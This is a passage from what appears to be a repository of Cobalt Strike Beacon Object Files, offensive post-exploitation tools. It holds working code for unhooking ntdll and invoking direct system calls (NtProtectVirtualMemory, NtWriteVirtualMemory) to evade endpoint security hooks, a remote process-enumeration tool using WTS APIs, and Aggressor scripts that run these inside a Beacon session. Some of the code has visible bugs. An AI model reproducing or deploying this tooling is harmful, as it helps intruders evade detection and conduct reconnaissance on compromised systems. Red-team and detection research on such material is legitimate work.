| BeaconPrintf(CALLBACK_OUTPUT, "[+] Unhooking done, cleaning unused handles"); 128 | KERNEL32$CloseHandle(process); 129 | KERNEL32$CloseHandle(ntdllFile); 130 | KERNEL32$CloseHandle(ntdllMapping); 131 | KERNEL32$FreeLibrary(ntdllModule); 132 | } 133 | -------------------------------------------------------------------------------- /unhook/syscalls.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // Code below is adapted from @modexpblog. Read linked article for more details. 4 | // https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams 5 | 6 | #ifndef SW2_HEADER_H_ 7 | #define SW2_HEADER_H_ 8 | 9 | #include 10 | 11 | #define SW2_SEED 0xE2EE820A 12 | #define SW2_ROL8(v) (v << 8 | v >> 24) 13 | #define SW2_ROR8(v) (v >> 8 | v << 24) 14 | #define SW2_ROX8(v) ((SW2_SEED % 2) ? SW2_ROL8(v) : SW2_ROR8(v)) 15 | #define SW2_MAX_ENTRIES 500 16 | #define SW2_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva) 17 | 18 | // Typedefs are prefixed to avoid pollution. 19 | 20 | typedef struct _SW2_SYSCALL_ENTRY 21 | { 22 | DWORD Hash; 23 | DWORD Address; 24 | } SW2_SYSCALL_ENTRY, *PSW2_SYSCALL_ENTRY; 25 | 26 | typedef struct _SW2_SYSCALL_LIST 27 | { 28 | DWORD Count; 29 | SW2_SYSCALL_ENTRY Entries[SW2_MAX_ENTRIES]; 30 | } SW2_SYSCALL_LIST, *PSW2_SYSCALL_LIST; 31 | 32 | typedef struct _SW2_PEB_LDR_DATA { 33 | BYTE Reserved1[8]; 34 | PVOID Reserved2[3]; 35 | LIST_ENTRY InMemoryOrderModuleList; 36 | } SW2_PEB_LDR_DATA, *PSW2_PEB_LDR_DATA; 37 | 38 | typedef struct _SW2_LDR_DATA_TABLE_ENTRY { 39 | PVOID Reserved1[2]; 40 | LIST_ENTRY InMemoryOrderLinks; 41 | PVOID Reserved2[2]; 42 | PVOID DllBase; 43 | } SW2_LDR_DATA_TABLE_ENTRY, *PSW2_LDR_DATA_TABLE_ENTRY; 44 | 45 | typedef struct _SW2_PEB { 46 | BYTE Reserved1[2]; 47 | BYTE BeingDebugged; 48 | BYTE Reserved2[1]; 49 | PVOID Reserved3[2]; 50 | PSW2_PEB_LDR_DATA Ldr; 51 | } SW2_PEB, *PSW2_PEB; 52 | 53 | DWORD SW2_HashSyscall(PCSTR FunctionName); 54 | BOOL SW2_PopulateSyscallList(); 55 | EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash); 56 | 57 | EXTERN_C NTSTATUS NtProtectVirtualMemory( 58 | IN HANDLE ProcessHandle, 59 | IN OUT PVOID * BaseAddress, 60 | IN OUT PSIZE_T RegionSize, 61 | IN ULONG NewProtect, 62 | OUT PULONG OldProtect); 63 | 64 | EXTERN_C NTSTATUS NtWriteVirtualMemory( 65 | IN HANDLE ProcessHandle, 66 | IN PVOID BaseAddress, 67 | IN PVOID Buffer, 68 | IN SIZE_T NumberOfBytesToWrite, 69 | OUT PSIZE_T NumberOfBytesWritten OPTIONAL); 70 | 71 | #endif 72 | 73 | 74 | // Code below is adapted from @modexpblog. Read linked article for more details. 75 | // https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams 76 | 77 | SW2_SYSCALL_LIST SW2_SyscallList = {0,1}; 78 | 79 | DWORD SW2_HashSyscall(PCSTR FunctionName) 80 | { 81 | DWORD i = 0; 82 | DWORD Hash = SW2_SEED; 83 | 84 | while (FunctionName[i]) 85 | { 86 | WORD PartialName = *(WORD*)((ULONG64)FunctionName + i++); 87 | Hash ^= PartialName + SW2_ROR8(Hash); 88 | } 89 | 90 | return Hash; 91 | } 92 | 93 | BOOL SW2_PopulateSyscallList() 94 | { 95 | // Return early if the list is already populated. 96 | if (SW2_SyscallList.Count) return TRUE; 97 | 98 | PSW2_PEB Peb = (PSW2_PEB)__readgsqword(0x60); 99 | PSW2_PEB_LDR_DATA Ldr = Peb->Ldr; 100 | PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL; 101 | PVOID DllBase = NULL; 102 | 103 | // Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second 104 | // in the list, so it's safer to loop through the full list and find it. 105 | PSW2_LDR_DATA_TABLE_ENTRY LdrEntry; 106 | for (LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0]) 107 | { 108 | DllBase = LdrEntry->DllBase; 109 | PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase; 110 | PIMAGE_NT_HEADERS NtHeaders = SW2_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew); 111 | PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory; 112 | DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; 113 | if (VirtualAddress == 0) continue; 114 | 115 | ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW2_RVA2VA(ULONG_PTR, DllBase, VirtualAddress); 116 | 117 | // If this is NTDLL.dll, exit loop. 118 | PCHAR DllName = SW2_RVA2VA(PCHAR, DllBase, ExportDirectory->Name); 119 | 120 | if ((*(ULONG*)DllName | 0x20202020) != 'ldtn') continue; 121 | if ((*(ULONG*)(DllName + 4) | 0x20202020) == 'ld.l') break; 122 | } 123 | 124 | if (!ExportDirectory) return FALSE; 125 | 126 | DWORD NumberOfNames = ExportDirectory->NumberOfNames; 127 | PDWORD Functions = SW2_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions); 128 | PDWORD Names = SW2_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames); 129 | PWORD Ordinals = SW2_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals); 130 | 131 | // Populate SW2_SyscallList with unsorted Zw* entries. 132 | DWORD i = 0; 133 | PSW2_SYSCALL_ENTRY Entries = SW2_SyscallList.Entries; 134 | do 135 | { 136 | PCHAR FunctionName = SW2_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]); 137 | 138 | // Is this a system call? 139 | if (*(USHORT*)FunctionName == 'wZ') 140 | { 141 | Entries[i].Hash = SW2_HashSyscall(FunctionName); 142 | Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]]; 143 | 144 | i++; 145 | if (i == SW2_MAX_ENTRIES) break; 146 | } 147 | } while (--NumberOfNames); 148 | 149 | // Save total number of system calls found. 150 | SW2_SyscallList.Count = i; 151 | 152 | // Sort the list by address in ascending order. 153 | for (DWORD i = 0; i < SW2_SyscallList.Count - 1; i++) 154 | { 155 | for (DWORD j = 0; j < SW2_SyscallList.Count - i - 1; j++) 156 | { 157 | if (Entries[j].Address > Entries[j + 1].Address) 158 | { 159 | // Swap entries. 160 | SW2_SYSCALL_ENTRY TempEntry; 161 | 162 | TempEntry.Hash = Entries[j].Hash; 163 | TempEntry.Address = Entries[j].Address; 164 | 165 | Entries[j].Hash = Entries[j + 1].Hash; 166 | Entries[j].Address = Entries[j + 1].Address; 167 | 168 | Entries[j + 1].Hash = TempEntry.Hash; 169 | Entries[j + 1].Address = TempEntry.Address; 170 | } 171 | } 172 | } 173 | 174 | return TRUE; 175 | } 176 | 177 | EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash) 178 | { 179 | // Ensure SW2_SyscallList is populated. 180 | if (!SW2_PopulateSyscallList()) return -1; 181 | 182 | for (DWORD i = 0; i < SW2_SyscallList.Count; i++) 183 | { 184 | if (FunctionHash == SW2_SyscallList.Entries[i].Hash) 185 | { 186 | return i; 187 | } 188 | } 189 | 190 | return -1; 191 | } 192 | #define ZwProtectVirtualMemory NtProtectVirtualMemory 193 | __asm__("NtProtectVirtualMemory: \n\ 194 | mov [rsp +8], rcx\n\ 195 | mov [rsp+16], rdx\n\ 196 | mov [rsp+24], r8\n\ 197 | mov [rsp+32], r9\n\ 198 | sub rsp, 0x28\n\ 199 | mov ecx, 0x081229943\n\ 200 | call SW2_GetSyscallNumber\n\ 201 | add rsp, 0x28\n\ 202 | mov rcx, [rsp +8]\n\ 203 | mov rdx, [rsp+16]\n\ 204 | mov r8, [rsp+24]\n\ 205 | mov r9, [rsp+32]\n\ 206 | mov r10, rcx\n\ 207 | syscall\n\ 208 | ret\n\ 209 | "); 210 | #define ZwWriteVirtualMemory NtWriteVirtualMemory 211 | __asm__("NtWriteVirtualMemory: \n\ 212 | mov [rsp +8], rcx\n\ 213 | mov [rsp+16], rdx\n\ 214 | mov [rsp+24], r8\n\ 215 | mov [rsp+32], r9\n\ 216 | sub rsp, 0x28\n\ 217 | mov ecx, 0x074177099\n\ 218 | call SW2_GetSyscallNumber\n\ 219 | add rsp, 0x28\n\ 220 | mov rcx, [rsp +8]\n\ 221 | mov rdx, [rsp+16]\n\ 222 | mov r8, [rsp+24]\n\ 223 | mov r9, [rsp+32]\n\ 224 | mov r10, rcx\n\ 225 | syscall\n\ 226 | ret\n\ 227 | "); 228 | -------------------------------------------------------------------------------- /unhook/unhook.cna: -------------------------------------------------------------------------------- 1 | beacon_command_register( 2 | "unhook", 3 | "Unhook a specified module", 4 | "Synopsis: unhook ntdll.dll"); 5 | 6 | 7 | alias unhook { 8 | local('$handle $data $args'); 9 | 10 | # figure out the arch of this session 11 | $barch = barch($1); 12 | 13 | if(size(@_) < 2) 14 | { 15 | berror($1, "Incorrect usage!"); 16 | berror($1, beacon_command_detail("unhook")); 17 | return; 18 | } 19 | 20 | # read in the right BOF file 21 | $handle = openf(script_resource("unhook. $+ $barch $+ .o")); 22 | $data = readb($handle, -1); 23 | closef($handle); 24 | 25 | 26 | # pack our arguments 27 | $args = bof_pack($1, "z", $2); 28 | 29 | btask($1, "Unhook BOF (@dottor_morte)"); 30 | btask($1, "Unhooking module: $+ $2"); 31 | 32 | # execute it. 33 | beacon_inline_execute($1, $data, "go", $args); 34 | } 35 | 36 | 37 | -------------------------------------------------------------------------------- /unhook/unhook.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RiccardoAncarani/BOFs/5fcb40161609db892f20f07acd596c6275084afd/unhook/unhook.x64.o -------------------------------------------------------------------------------- /wts_enum_remote_processes/Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := wts_enum_remote_processes 2 | CC_x64 := x86_64-w64-mingw32-gcc 3 | CC_x86 := i686-w64-mingw32-gcc 4 | 5 | all: 6 | $(CC_x64) -o $(BOFNAME).x64.o -c entry.c 7 | $(CC_x86) -o $(BOFNAME).x86.o -c entry.c -------------------------------------------------------------------------------- /wts_enum_remote_processes/beacon.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Beacon Object Files (BOF) 3 | * ------------------------- 4 | * A Beacon Object File is a light-weight post exploitation tool that runs 5 | * with Beacon's inline-execute command. 6 | * 7 | * Cobalt Strike 4.1. 8 | */ 9 | 10 | /* data API */ 11 | typedef struct { 12 | char * original; /* the original buffer [so we can free it] */ 13 | char * buffer; /* current pointer into our buffer */ 14 | int length; /* remaining length of data */ 15 | int size; /* total size of this buffer */ 16 | } datap; 17 | 18 | DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); 19 | DECLSPEC_IMPORT int BeaconDataInt(datap * parser); 20 | DECLSPEC_IMPORT short BeaconDataShort(datap * parser); 21 | DECLSPEC_IMPORT int BeaconDataLength(datap * parser); 22 | DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); 23 | 24 | /* format API */ 25 | typedef struct { 26 | char * original; /* the original buffer [so we can free it] */ 27 | char * buffer; /* current pointer into our buffer */ 28 | int length; /* remaining length of data */ 29 | int size; /* total size of this buffer */ 30 | } formatp; 31 | 32 | DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); 33 | DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); 34 | DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); 35 | DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len); 36 | DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...); 37 | DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); 38 | DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); 39 | 40 | /* Output Functions */ 41 | #define CALLBACK_OUTPUT 0x0 42 | #define CALLBACK_OUTPUT_OEM 0x1e 43 | #define CALLBACK_ERROR 0x0d 44 | #define CALLBACK_OUTPUT_UTF8 0x20 45 | 46 | DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...); 47 | DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len); 48 | 49 | /* Token Functions */ 50 | DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); 51 | DECLSPEC_IMPORT void BeaconRevertToken(); 52 | DECLSPEC_IMPORT BOOL BeaconIsAdmin(); 53 | 54 | /* Spawn+Inject Functions */ 55 | DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); 56 | DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); 57 | DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); 58 | DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); 59 | 60 | /* Utility Functions */ 61 | DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); 62 | -------------------------------------------------------------------------------- /wts_enum_remote_processes/entry.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include "beacon.h" 10 | 11 | DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetLastError(); 12 | 13 | DECLSPEC_IMPORT VOID WINAPI WTSAPI32$WTSCloseServer( 14 | HANDLE hServer 15 | ); 16 | DECLSPEC_IMPORT HANDLE WINAPI WTSAPI32$WTSOpenServerA( 17 | LPSTR pServerName 18 | ); 19 | DECLSPEC_IMPORT BOOL WINAPI WTSAPI32$WTSEnumerateProcessesA( 20 | HANDLE hServer, 21 | DWORD Reserved, 22 | DWORD Version, 23 | PWTS_PROCESS_INFOA *ppProcessInfo, 24 | DWORD *pCount 25 | ); 26 | 27 | DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$LookupAccountSidA( 28 | LPCSTR lpSystemName, 29 | PSID Sid, 30 | LPSTR Name, 31 | LPDWORD cchName, 32 | LPSTR ReferencedDomainName, 33 | LPDWORD cchReferencedDomainName, 34 | PSID_NAME_USE peUse 35 | ); 36 | 37 | DECLSPEC_IMPORT HGLOBAL WINAPI KERNEL32$GlobalAlloc( 38 | UINT uFlags, 39 | SIZE_T dwBytes 40 | ); 41 | 42 | DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$ConvertSidToStringSidA( 43 | PSID Sid, 44 | LPSTR *StringSid 45 | ); 46 | 47 | WINBASEAPI int __cdecl MSVCRT$sprintf(char *__stream, const char *__format, ...); 48 | 49 | int GetUserInfo(LPCSTR host, PSID pSidOwner, char *username) 50 | { 51 | BOOL bRtnBool; 52 | LPTSTR AcctName = "", DomainName = ""; 53 | DWORD dwAcctName = 1, dwDomainName = 1; 54 | SID_NAME_USE eUse = SidTypeUnknown; 55 | 56 | bRtnBool = ADVAPI32$LookupAccountSidA( 57 | host, // Local computer 58 | pSidOwner, // Pointer to the SID to lookup for 59 | AcctName, // The account name of the SID (pSIDOwner) 60 | (LPDWORD)&dwAcctName, // Size of the AcctName in TCHAR 61 | DomainName, // Pointer to the name of the Domain where the account name was found 62 | (LPDWORD)&dwDomainName, // Size of the DomainName in TCHAR 63 | &eUse); // Value of the SID_NAME_USE enum type that specify the SID type 64 | 65 | 66 | // Allocate memory for the AcctName. 67 | AcctName = (LPTSTR)KERNEL32$GlobalAlloc(GMEM_FIXED, dwAcctName); 68 | // VErify 69 | if(AcctName == NULL) 70 | { 71 | 72 | return -1; 73 | } 74 | 75 | DomainName = (LPTSTR)KERNEL32$GlobalAlloc(GMEM_FIXED, dwDomainName); 76 | 77 | // Check GetLastError() for GlobalAlloc() error condition. 78 | if(DomainName == NULL) 79 | { 80 | return -1; 81 | 82 | } 83 | 84 | // Second call to LookupAccountSid() to get the account name. 85 | bRtnBool = ADVAPI32$LookupAccountSidA( 86 | host, // name of local or remote computer 87 | pSidOwner, // security identifier, SID 88 | AcctName, // account name buffer 89 | (LPDWORD)&dwAcctName, // size of account name buffer 90 | DomainName, // domain name 91 | (LPDWORD)&dwDomainName, // size of domain name buffer 92 | &eUse); // SID type 93 | 94 | // Verify 95 | 96 | if(bRtnBool == FALSE) 97 | { 98 | DWORD dwErrorCode = KERNEL32$GetLastError(); 99 | 100 | if(dwErrorCode == ERROR_NONE_MAPPED) 101 | BeaconPrintf(CALLBACK_ERROR , "Account not found, error %u\n", KERNEL32$GetLastError()); 102 | else 103 | { 104 | BeaconPrintf(CALLBACK_ERROR , "LookupAccountSid() failed, error %u\n", KERNEL32$GetLastError()); 105 | return -1; 106 | } 107 | } 108 | else if (bRtnBool == TRUE) 109 | { 110 | // Print the account name. 111 | MSVCRT$sprintf(username, "%s\\%s", DomainName, AcctName); 112 | } 113 | 114 | } 115 | 116 | void go(char *args, int len) { 117 | 118 | CHAR *host; 119 | datap parser; 120 | WTS_PROCESS_INFOA *p; 121 | DWORD dwCount = 0; 122 | HANDLE hServer = NULL; 123 | 124 | BeaconDataParse(&parser, args, len); 125 | host = BeaconDataExtract(&parser, NULL); 126 | 127 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Opening handle to remote server"); 128 | 129 | hServer = WTSAPI32$WTSOpenServerA(host); 130 | 131 | if(hServer == INVALID_HANDLE_VALUE) 132 | { 133 | BeaconPrintf(CALLBACK_ERROR , "WTSOpenServerA() failed, error %u\n", KERNEL32$GetLastError()); 134 | } 135 | BOOL res = WTSAPI32$WTSEnumerateProcessesA(hServer, 0 , 1, &p, &dwCount); 136 | 137 | if (!res) 138 | { 139 | BeaconPrintf(CALLBACK_ERROR , "WTSEnumerateProcessesA() failed, error %u\n", KERNEL32$GetLastError()); 140 | } 141 | 142 | for (int i = 0; i < dwCount; i++) 143 | { 144 | PSID userSid = p[i].pUserSid; 145 | char username[100]; 146 | LPTSTR StringSid = NULL; 147 | GetUserInfo(host, userSid, username); 148 | ADVAPI32$ConvertSidToStringSidA(userSid, &StringSid); 149 | 150 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Process = %s, PID = %d, Owner = %s", p[i].pProcessName, p[i].ProcessId, username); 151 | 152 | } 153 | 154 | WTSAPI32$WTSOpenServerA(hServer); 155 | 156 | } -------------------------------------------------------------------------------- /wts_enum_remote_processes/wts_enum_remote_processes.cna: -------------------------------------------------------------------------------- 1 | beacon_command_register( 2 | "wts_enum_remote_processes", 3 | "Enumerate remote processes via WTS APIs", 4 | "Synopsis: wts_enum_remote_processes "); 5 | 6 | 7 | alias wts_enum_remote_processes { 8 | local('$handle $data $args'); 9 | 10 | # figure out the arch of this session 11 | $barch = barch($1); 12 | 13 | # read in the right BOF file 14 | $handle = openf(script_resource("wts_enum_remote_processes. $+ $barch $+ .o")); 15 | $data = readb($handle, -1); 16 | closef($handle); 17 | 18 | 19 | # pack our arguments 20 | $args = bof_pack($1, "z", $2); 21 | 22 | btask($1, "wts_enum_remote_processes BOF (@dottor_morte)"); 23 | btask($1, "Enumerating: $+ $2"); 24 | 25 | # execute it. 26 | beacon_inline_execute($1, $data, "go", $args); 27 | } 28 | 29 | 30 | -------------------------------------------------------------------------------- /wts_enum_remote_processes/wts_enum_remote_processes.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RiccardoAncarani/BOFs/5fcb40161609db892f20f07acd596c6275084afd/wts_enum_remote_processes/wts_enum_remote_processes.x64.o -------------------------------------------------------------------------------- /wts_enum_remote_processes/wts_enum_remote_processes.x86.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RiccardoAncarani/BOFs/5fcb40161609db892f20f07acd596c6275084afd/wts_enum_remote_processes/wts_enum_remote_processes.x86.o --------------------------------------------------------------------------------